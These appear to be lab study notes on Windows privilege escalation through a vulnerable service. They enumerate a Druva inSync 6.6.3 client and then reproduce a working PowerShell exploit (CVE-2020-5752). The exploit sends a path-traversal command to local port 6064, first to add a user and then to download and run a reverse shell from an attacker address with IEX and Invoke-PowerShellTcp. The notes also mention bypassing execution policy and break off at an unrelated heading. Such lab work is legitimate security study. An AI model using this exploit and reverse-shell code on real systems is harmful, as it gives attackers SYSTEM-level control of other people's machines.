Vulnerable Services

Enumerating Installed Programs

C:\htb> wmic product get name

Name
Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4023057)
Microsoft Visual C++ 2019 X86 Additional Runtime - 14.24.28127
VMware Tools
Druva inSync 6.6.3
Microsoft Update Health Tools
Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29910
Update for Windows 10 for x64-based Systems (KB4480730)
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.24.28127

Enumerating Local Ports

C:\htb> netstat -ano | findstr 6064

  TCP    127.0.0.1:6064         0.0.0.0:0              LISTENING       3324
  TCP    127.0.0.1:6064         127.0.0.1:50274        ESTABLISHED     3324
  TCP    127.0.0.1:6064         127.0.0.1:50510        TIME_WAIT       0
  TCP    127.0.0.1:6064         127.0.0.1:50511        TIME_WAIT       0
  TCP    127.0.0.1:50274        127.0.0.1:6064         ESTABLISHED     3860

Enumerating Process ID

PS C:\htb> get-process -Id 3324

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    149      10     1512       6748              3324   0 inSyncCPHwnet64

Enumerating Running Service

PS C:\htb> get-service | ? {$_.DisplayName -like 'Druva*'}

Status   Name               DisplayName
------   ----               -----------
Running  inSyncCPHService   Druva inSync Client Service

Druva inSync Windows Client Local Privilege Escalation Example

Powershell PoC

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

Reverse shell

Rename it something simple like shell.ps1. Append the following at the bottom of the script file

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443

Modify the $cmd variable to get rs 

$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.3:8080/shell.ps1')"

https://github.com/yevh/CVE-2020-5752-Druva-inSync-Windows-Client-6.6.3---Local-Privilege-Escalation-PowerShell-/blob/main/DruvaPE.ps1

$ErrorActionPreference = "Stop"

#Modify the $cmd variable in the Druva inSync exploit PoC script to download our PowerShell reverse shell into memory.
$cmd = "powershell IEX(New-Object Net.Webclient).downloadString('http://10.10.14.4:8080/shell.ps1')"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

#changing the IP to match our address and listening port as well
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 9443

Catching a SYSTEM Shell

Execute the PoC PowerShell script on the target host after bypassing execution policy

Bypass Powershell Execution Policy

SysaxAutomation

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